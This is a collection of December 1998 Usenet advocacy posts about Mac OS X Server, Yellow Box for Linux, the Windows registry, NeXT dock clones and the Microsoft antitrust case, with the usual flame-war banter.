From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Of course not. MJP's list was his opinion of "what is a good Unix".
>
> Excluding the X Windows category, MOXS meets very nearly every single criteria
> listed.
I'm sure you'll find this easy to believe: I tried very hard to list
things that I thought would exclude Mac OS X. If you say that Mac OS X
meets these criteria, I'm highly relieved.
> I don't know what Apple's doing about X, but I'd imagine that X will
> be available as an option or add-on product from Apple, and I know third-party
> versions are around.
I still think that that's a serious mistake; the omission of X Windows
could well be the most important one.
MJP
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 21:52:55 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36798742.1291229250@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de>
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On 14 Dec 98 21:18:42 GMT, token@cip.informatik.uni-wuerzburg.de
(Matthias Buelow) wrote:
>In article <367576aa.24105942@news2.asan.com>,
>Willy <willy1@rocketmail.com> wrote:
>
>>>What an abominable kludge; Windoze stores all app's stuff in one
>>>single database and doesn't even provide methods for synchronization.
>>
>>It's doesn't need a synchronization method. The registry is always
>>there you; just have to read it. However, Microsoft can't control
>>what other application developers do. So they request a reboot in
>>order to not cause any problems.
>
>You do not understand; Windoze should provide an API for proper
>accessing and synchronizing the registry (I don't know actually if
>it does -- according to your description it doesn't). So if certain
>entries are being modified, the applications that depend on these
>ought to receive a certain signal or event so that they reload parameters
>from the registry.
The mechanism is available. There are a set of APIs designed
specifically to deal with the Registry--and one of them allows a
process to monitor a particular subtree of the hive and get a
notification if anything changes (write time, new entries, deletion of
an entry, etc...).
However, the problem isn't "is the mechanism available", it's "do the
programs take advantage of it"? Typically, the answer is a resounding
no. Why? Because most of the code I've seen that deal with the
Registry is written by people who really don't know how to deal with
the Registry properly (they typically think it of it as nothing more
than a glorified .ini file when it's quite a bit more) and are
unbelievably lazy.
>This obviously isn't done. And what's really
>braindead according to your description is that it isn't just enough to
>restart certain applications - no, you have to reboot the entire system.
And his description is incorrect.
The typical reason why the system needs to be rebooted is when you
need to replace libraries which are currently in use. If the library
is in use by a user process, it's enough to shutdown the process and
copy the new library over. However, if the library is in use by a
critical system service, the only way to copy over the new library is:
1. Rename the old one, copy the new one in it's place--and restart
the service.
2. Mark the new library as "copy of reboot" and reboot the system.
For the most part, option 1 suffice--unless the service is something
that can't be shutdown (and there are few such services--for the most
part those don't talk with commonly updated libraries like libc or mfc
libs). On the otherhand, in very rare circumstances, you need to
resort to option 2.
----------------------------------------------
My views are my own.
From: ricsha@rainlore.demon.co.uk (Ric)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
Date: Mon, 14 Dec 1998 22:04:53 GMT
Message-ID: <36758480.7348286@news.demon.co.uk>
References: <ThCc2.250$qF5.1503104@lwnws01.ne.mediaone.net> <19981212185856.21488.00002218@ng-ch1.aol.com>
On 12 Dec 1998 23:58:56 GMT, willadams@aol.com (WillAdams) wrote:
>Actually John, there's a (believe it or not) Visual Basic version of the NeXT
>filebrowser called appropriately enough, Browser.exe (I think it uses the
>VBRUN100.dll)
Any URL for this?
>There's also NeXTView, which I've mentioned before--I think it's just a dock
>clone, and it's apparently not freely distributed as I'd thought, but here's
There is/was also another dock clone, but unfortunately can't find the
URL for it atm...
IIRC, this was visually better than NeXTView, and had about the same
functionality.
>Another dock clone is Litestep, <www.litestep.net> but it's just glitz with
>little functionality.
Actually, Litestep is a replacement shell, and is based on Afterstep
wm for X11 - never cut it for me.
However, there is a possibility of someone producing a replacement
shell for Win 32 based on the OS/2 WPS (the emphasis being on OO
functionality rather than appearance), and a few folks (including
myself) are actively lobbying for this to be extended to incorporate
(at least some) NeXT OO functionality as well. (However, at this point
I'm a tad reluctant to publish the relevant URL, lest this should
result in the coder getting swamped with mails...) Ideally, this might
turn into a "best of both worlds" (WPS & NeXT) type of thing.
From: sinank@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Tue, 15 Dec 1998 03:20:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <754khp$7jd$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com> <3672a08a.4301575@news2.asan.com> <753aem$f2q$1@nnrp03.primenet.com>
In article <753aem$f2q$1@nnrp03.primenet.com>,
Stephen Edwards <ja207030@primenet.com> wrote:
[...]
> It means, "I have absolutely nothing important in my life, and instead of
> going outside once in a while, and doing something with my life, I'm going
> to try to make myself feel important by joining the Anti-Microsoft
> campaign, so I can bitch about Microsoft to every single person I meet,
> and look really big and cool, to make up for everything I've missed out
> on in life because I was just too pathetic to take initiative.
And here is more.
http://biz.yahoo.com/rf/981214/bjp.html
Sinan Karasu
PS: Keep the responses coming.....
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Sender: darin@snowboard
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de> <y1uaf0rr02y.fsf@acuson.com> <3674c514.0@uni-wuerzburg.de> <y1uvhjephbw.fsf@acuson.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de>
From: Darin Johnson <darin@usa.net.nospam>
Message-ID: <y1un24qozb2.fsf@acuson.com>
Organization: Acuson Corp
Date: 14 Dec 1998 19:32:17 -0800
NNTP-Posting-Date: Mon, 14 Dec 1998 19:33:05 PDT
token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) writes:
> You'll notice it if you load a gnu/linux machine a bit more than
> a little. For example Solaris scales extremely well on SMP
> architectures.
Quite a lot have mentioned SMP so far. The only SMP Solaris machines
I've seen are backroom compute servers, not desktop machines.
Are there any comparisons of SMP on Sparc Solaris versus Sparc Linux?
I know people are working on this.
One big difference I do see between Linux and commercial UNIX, is that
the commercial UNIXen seem to have less and less in each release. I
remember when each new BSD release had tons of wonderful new stuff in
it, useful stuff, and all the UNIX varieties would eventually copy it.
Each new commercial UNIX release now just seem a bit blase, whereas
Linux is still evolving and improving. I think the difference is that
the commercial UNIX makers have lost site of long term technical goals
(well, maybe not Sun, but at least HP and IBM seem to have stopped
bothering with UNIX itself and are focusing on apps instead).
--
Darin Johnson
"You used to be big."
"I am big. It's the pictures that got small."
From: sinank@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: Tue, 15 Dec 1998 03:29:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <754l3j$7vo$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com> <36756C9A.210D4E46@digiscape.com>
In article <36756C9A.210D4E46@digiscape.com>,
Chris Welch <chaotic42@digiscape.com> wrote:
[...]
>
> Jail? Sorry Gennica, er Sinan, Gates doesn't need to go to jail. That's
^^^^^^^
I love this. I have to admit. Thanx for a good ROTFL. :-)
Sinan
> a bit out there, no?
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 15 Dec 1998 03:37:17 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <754lhd$gi1$15@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost>
<74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com>
NNTP-Posting-Date: 15 Dec 1998 03:37:17 GMT
On 13 Dec 1998 21:59:54 GMT, Sal Denaro <sal@panix.com> wrote:
>On 13 Dec 98 13:35:51 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
><<clip>>
>
>>> I understand _why_ you would want Apple to support Linux, I just don't
>>> think Apple can justify an attempt to sell to a portion of a 8-10 million
>>> user market at the expense of reneging on its promises to a 22+ million
>>> user market.
>>I don't see YB for Linux being much different from YB for Windows in
>>that respect.
>
>The Windows market share is how many times larger than the Linux
>market share?
Even if there is a larger "Windows market," Linux could be more worth
going after.
I agree with a whole lot of what you've said; I suggest keeping in mind
when comparing Windows to Linux that Windows represents a "probably
hostile" platform from the perspective that *if* YB becomes popular, its
stability and overall usefulness on Windows may reasonably be expected
to become a target for Microsoft to try to unseat.
In contrast, the Linux community has been generally friendly towards
various forms of emulation and ABI/API efforts.
--
"In my opinion MS is a lot better at making money than it is at making
good operating systems." -- Linus Torvalds
cbbrowne@ntlug.org- <http://www.hex.net/~cbbrowne/lsf.html>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS & Windows UIs suck dung beatle dung.
Date: 15 Dec 1998 00:52:55 GMT
Organization: AOL http://www.aol.com
References: <36758480.7348286@news.demon.co.uk>
Message-ID: <19981214195255.00891.00003398@ng-bw1.aol.com>
In regards to my mentioning a browser clone for Windows 3.x created using
Visual Basic, Ricsha asked:
>Any URL for this?
The program in question predates the web current pervasiveness. I'm uploading a
copy to http://members.aol.com/willadams/browser.zip
However, it doesn't understand network drives or long filenames, limiting its
utility.
For those interested in Windows shells, there's a page dedicated to
them:http://www.msoe.edu/~rookd/wm/
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Mon, 14 Dec 1998 23:01:34 -0800
Content-Transfer-Encoding: 7bit
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <36760949.4491@earthlink.net>
Jackson Cheung wrote:
> However, will we be be moving into a world of 3 letter
> extensions when shifting to MacOS X (specifically Yellow box)?
3 letters or more!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: Mon, 14 Dec 1998 23:12:26 -0800
Content-Transfer-Encoding: 7bit
References: <F3ypyL.6wx@T-FCN.Net> <19981214124913.29774.00002394@ng54.aol.com>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <36760BD3.3B36@earthlink.net>
WillAdams wrote:
> Could you provide a URL and an observation of how stable the program(s) is/are?
Here is a great one!
The Tilery http://www.opendoor.com/RICK/Tilery.html
It isn't the "slickest" looking (a nice NeXTSTEP gradation across the
tile would be nice) but it can be set up to basically work almost
identically to the NeXTSTEP dock. Instead of the 3 cool little dots you
can atleast give active and inactive apps a different color. Also, if
you give the text the same color as inactive tiles, it will be hidden.
You can place the tiles anywhere you want and have the placement
"remembered". Give it a try. It's just a small app. not an extension.
I have it start up along with Greg's Browser. Hey, we gotta make do
until OSXS and OSX right?
Steve
Sender: token@utopia.informatik.uni-wuerzburg.de
In-reply-to: Darin Johnson's message of 14 Dec 1998 19:32:17 -0800
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com>
<uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de>
<y1uaf0rr02y.fsf@acuson.com> <3674c514.0@uni-wuerzburg.de>
<y1uvhjephbw.fsf@acuson.com>
<ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de>
<y1un24qozb2.fsf@acuson.com>
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Date: 15 Dec 1998 08:49:30 +0100
Message-ID: <ye0ogp5lu9h.fsf@utopia.informatik.uni-wuerzburg.de>
Organization: Universitas Herbipolensis / Germany
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In article <y1un24qozb2.fsf@acuson.com>
Darin Johnson <darin@usa.net.nospam> writes:
>Linux is still evolving and improving. I think the difference is that
>the commercial UNIX makers have lost site of long term technical goals
>(well, maybe not Sun, but at least HP and IBM seem to have stopped
>bothering with UNIX itself and are focusing on apps instead).
How could you say so? I haven't used the new HP-UX 11 yet, for
example, we only have 9.x/10.x boxen around, but it's said to be
a lot improved over 10.x so HP at least is certainly doing active
developping. I dunno about IBM, but 4.1.x is rather usable aswell,
after the abomination AIX 3.x, I certainly see improvement here
aswell. Certainly Gnu/Linux is developping faster, relatively,
since it comes from nothing while systems like AIX or HP-UX are
already on a rather high level, featurewise.
Which technical goals do you see being targetted for with Gnu/Linux
that aren't already reached or under development with AIX or HP-UX?
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
Message-ID: <3676176A.6212EABF@nstar.net>
Date: Tue, 15 Dec 1998 02:01:46 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: No Slashdot Poll
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Rob Malda has posted two different polls since I requested a Yellow Box
for Linux poll, so I assume that he has rejected the idea (I've received
no reply to my e-mail).
If you'd like to see a Slashdot.org poll regarding the Linux community's
feeling about the necessity of a Linux port, feel free to email Rob at
mailto:malda@slashdot.org
Maybe he'll reconsider if enough people are interested (why do I get the
sudden feeling that I'm pursuing another chicken-and-egg project?).
Please remember that the emphasis of the poll is to determine whether a
Linux port is necessary on the basis of the number of people who would
run YB on Linux but would not pursue a "Mac OS X Server for Intel"
alternative.
MJP
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <1998Dec14.215826.24376@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <3673de8f.1614090@news2.asan.com>
Date: Mon, 14 Dec 1998 21:58:26 GMT
In article <3673de8f.1614090@news2.asan.com> willy1@rocketmail.com (Willy)
writes:
> You seem to mistake every company that appears to be under Microsoft's
> thumb as some sort of public service organization fighting for their
> survival. These are all for-profits companies that have become larger
> than Microsoft because of Windows. Compaq and Dell both have larger
> revenues than Microsoft so don't cry too hard for them.
Hmmm... you sure about this? I guess it depends on how you define
"revenues" -- from sales, maybe. On income, MS kicks their butts.
Last 12 Months: (in Millions)
Dell: 16,806 Sales, 1,320 Income
Compaq: 27,633 Sales, (2,834) Income
Microsoft: 15,307 Sales, 5,510 Income
Compaq would appear to be the only company on this short list fighting for
survival, but they also are notably the only one with a serious
alternative to WinTel under their roof (in the form of Alpha, for whatever
it's worth...)
Also, I seem to recall that Compaq took the #1 spot from IBM long before
Windoze was a defacto standard; so while they may have benefitted from
Microsoft, and they certainly appear to be buddies with them now, I don't
think that they became bigger than Microsoft because of Windows. MHO.
--
Michael Humphries-Dolnick
"If opinions are expressed in this communication,
those opinions may not represent those of
my employer."
From: "Dean Z. Douthat" <deanz@bizserve.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 11:13:50 -0500
Organization: Fission Technologies
Message-ID: <3675393D.6A82C37F@bizserve.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu> <36738AD0.C1324BAD@tone.ca> <19981213123459842091@ts2-18.aug.com>
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Rick wrote:
> Michael <michael@tone.ca> wrote:
> <snip>
> IIRC, the BIOS was proprietary, and was also reverse engineered. clones
> were possible becasue of the BIOS reverse engineering and the
> non-exclusive OS license with M$.
<snip>
The BIOS was copyright but not secret. I still have an XT manual with full BIOS
source (assembly) listed in the back. The reverse engineering was part of the
so-called "clean room" process for bypassing copyright. It resulted in a
specification only, then a second team implemented that spec.
From: possum@tree.branch (Mike Trettel)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net>
Organization: Twinco, Inc.
Message-ID: <slrn767pnv.8vk.possum@ss5.fred.net>
Date: Tue, 01 Dec 1998 12:54:24 GMT
NNTP-Posting-Date: Tue, 01 Dec 1998 07:54:24 EDT
On Tue, 01 Dec 1998 02:39:18 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>
>As the lowly end users, I'm interested in how difficult it would be
>make OS/2's WorkPlace Shell open source then port it to Linux. It
>seems as though IBM is much more likely to give away the OS/2 "family
>jewels" than Apple is for OSX.
>
I'm surprised how often this one pops up. While there's no way I
personally can know for sure, in my opinion IBM will never release the
source code for the WPS. If they did in fact do so, it would most
certainly be "giving away the family jewels"-which is exactly why IBM
won't do it. IBM is not that foolish, and maintains one of the largest
and most impressive intellectual property legal staffs ever seen on this
planet for just that reason. Large portions of the WPS source code are
most certainly either protected by patents (in which case anyone can look
them up, you know) or are trade secrets (i.e, proprietary source code
hidden deep within the bowels of IBM, and known to only a few select
programmers). Since the only protection a trade secret has is, well,
secrecy it wouldn't look very good to the stockholders to suddenly hand
out these expensively developed secrets. There is also the issue of
licensing-portions of the WPS source code are probably licensed from other
corporate entities (I knew you could say Microsoft...) and would require
the permission of these other corporate entities for publication. The
above are only the first few reasons why IBM will never publish the WPS
source code any time soon, give me a little while and I can come up with a
few more.
Not that I would mind it-I would love to see the WPS running on Linux or
FreeBSD. It's just not going to happen though-it's more likely that IBM
would do the port themselves simply to protect their intellectual property
rights.
>-l
>
>---
>ICQ#: 9393354 * "Whenever you find that you are on the side of
>the majority, it is time to reform." -- Mark Twain
--
===========
Mike Trettel trettel (Shift 2) fred (dinky little round thing) net
Skep-Ti-Cult # 157-894589-983 ICQ # 15339850
I don't buy from spammers. No exceptions. Fix the reply line to mail me.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Steve Jobs:Potential Time Man of the year
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec14093140@slave.doubleu.com>
References: <74vqg3$j6o$1@neon.Mlink.NET>
In-reply-to: "Vincent Kohli"'s message of Sun, 13 Dec 1998 02:40:37 -0500
Date: 14 Dec 98 09:31:40
NNTP-Posting-Date: Tue, 15 Dec 1998 02:12:35 PDT
In article <74vqg3$j6o$1@neon.Mlink.NET>,
"Vincent Kohli" <cyberbox@mlink.net> writes:
Time Magazine is considering Steve Jobs as the next Man of The Year
Every mac/ NeXT advocate should read this article, vote and spread
the news: http://www.maccentral.com/news/9812/12.time.shtml
Among Steve Jobs' competition this year are Monica Lewinsky,
Kenneth Starr, Bill Clinton, Mark McGwire, John Glenn and many
more. You can place your vote at:
http://cgi.pathfinder.com/time/moy/index.html
After reading the list, I'm pretty certain that if God _hadn't_ been
planning to tidy things up with an exciting millenial celebration,
She's certainly planning to do so now...
["Viagra"? "The Press"? They forgot "Keiko" the killer whale. Or,
hell, "Furby". Toss them another softball...]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 15 Dec 1998 10:34:09 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <755dv1$1l5$1@news.tuwien.ac.at>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net>
<753r26$5e$1@news.xmission.com>
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Cc: don@misckit.com
In <753r26$5e$1@news.xmission.com> Don Yacktman wrote:
> On a home machine, you'll likely have access but will only rarely, if ever,
> bother with adjusting any of this data.
Perhaps a supplementary clarification for the enlightened crowd [0] is in
order.
The phrase "You don't want to touch it anyway" has an ugly note to it that
originates from the Windows world. It's what M$ always ends up saying when
users complain that a component of a M$ system is deranged/broken/useless in
some way.
However, NetInfo is a "genuine" case in this respect. With the added bonus
that if you really have to modify entries, you don't have fight some inane
"user interface" (like e.g. when modifying the "registry"[1]) but are treated
to a clean, lean way of interacting with the database.
Side note:
That someone did his homework when designing the defaults system becomes
obvious when you consider that you even have a commmand line interface for
all of it (NetInfo and user prefs). This means that (as a last resort) you
can telnet into a braindamaged machine and try to fix things with a
command-line editor.
Incidentally the same holds for the device drivers; all config data is in
plain text and can be tweaked from a terminal[2]; no binary crap like with
NT.
Before you flame me for even mentioning CLIs consider that I said "last
resort". And add "for those who like this kind of thing" if you wish.
$0.2E-32
Alexander Wikie
[0] Mac users who think UNIX has three letter extensions... >:-)
[1] Why does M$ have to use popular phrases/words for their crap? For years
to come no engineer with any self-respect will be able to call a registry app
a "registry", lest his customers run away in disgust.
[2] Which is pretty nifty to have if you e.g. managed to select an unusable
graphics mode on a networked machine.
---
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: kcci1@central.susx.ac.uk (Alan L.M. Buxey)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 15 Dec 1998 10:30:28 GMT
Organization: Department Of Amiga Studies (DOAS)
Distribution: world
Message-ID: <755do4$8br$22@infa.central.susx.ac.uk>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk>
On Fri, 11 Dec 1998 16:05:32 +0000 ,Stuart Brady posted the following:
: You can't 'upgrade' to Windows 98, because it's setup program doesn't
: work properly, (well, that was the last I heard, and it doesn't seem
: that Microsoft have done anything about it,) so simply don't bother.
: Windows 98 is buggy, anyway. (Linux just has undocumented features.)
I managed to upgrade the PC's here at work from 95 to 98 by using the
upgrade option..it does work
alan
From: kcci1@central.susx.ac.uk (Alan L.M. Buxey)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 15 Dec 1998 10:32:37 GMT
Organization: Department Of Amiga Studies (DOAS)
Message-ID: <755ds5$8br$23@infa.central.susx.ac.uk>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk> <74ruli$93o$1@koza.nl.net>
On 11 Dec 1998 20:17:54 GMT ,Toon Moene posted the following:
: Erases *every* partition on your hard disk and initialises a reasonable
: paritioning scheme without you (the user^H^H^H^H^Hsystem administrator)
: having to compute difficult sector/cylinder/track offset/sizes.
eh??
find the size of the HD. think up some scheme...hmm 200Mb for / 1Gb
for /usr 200Mb for /var and 2Gb for /home. 120Mb for swap
run fdisk under linux, create some partitions and assign the sizes as
listed above. dont have to worry about sectors or cylinders at all
alan
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF406GJ.n0q@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1112980646160001@elk62.dol.net> <74r7ct$q4h$1@flotsam.uits.indiana.edu> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu> <75119t$712@news1.panix.com>
Date: Tue, 15 Dec 1998 10:57:55 GMT
Sender: adt@netcom.netcom.com
Sal Denaro (sal@panix.com) wrote:
: I'll agree with you that it sucks that Apple isn't including a rootless X11
: server and a set of libs to better integrate the X and Yellow worlds; but,
: as long as there is some 3rd party option I can live with it.
:
: At one point someone from Apple mentioned that if a 3rd party product
: existed, they would not be opposed to shipping it on the demo disk that will
: ship with OSX or in an OSX Extras folder if it were a freeware product.
In addition to that Apple may worth with a VAR to provide a Mac with a
Unix emphasis. Or maybe something will evolve out of the higher education
sales channel.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 09:58:03 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3675358B.87637823@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com>
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Willy wrote:
[cut]
> You seem to mistake every company that appears to be under Microsoft's
> thumb as some sort of public service organization fighting for their
> survival. These are all for-profits companies that have become larger
> than Microsoft because of Windows. Compaq and Dell both have larger
> revenues than Microsoft so don't cry too hard for them.
Give it up, Willy. Every time someone here in USENET challenges the
half-baked political notions held by most of the technical elite it
sparks a contest to see who can post the most amateurish and
self-indulgent political theory to support federal activism. It's no
different from "public policy" debate in general, except for the changes
in shibboleth and mascots: just trade children and the poor for small
companies, the Macintosh, and Betamax. Magically, if you justify any
argument with the philosophical defense of the proper mascots, you've
gained instant credibility. As usual, the substance of argument means
nothing, so don't waste your time. Thinkers need not apply.
You've made compelling arguments and you're thinking quite reasonably, I
assure you. Let that be enough satisfaction, and move on to greener
intellectual pastures.
[cut]
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 14 Dec 1998 11:41:56 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36754DE4.A7435E0B@ericsson.com>
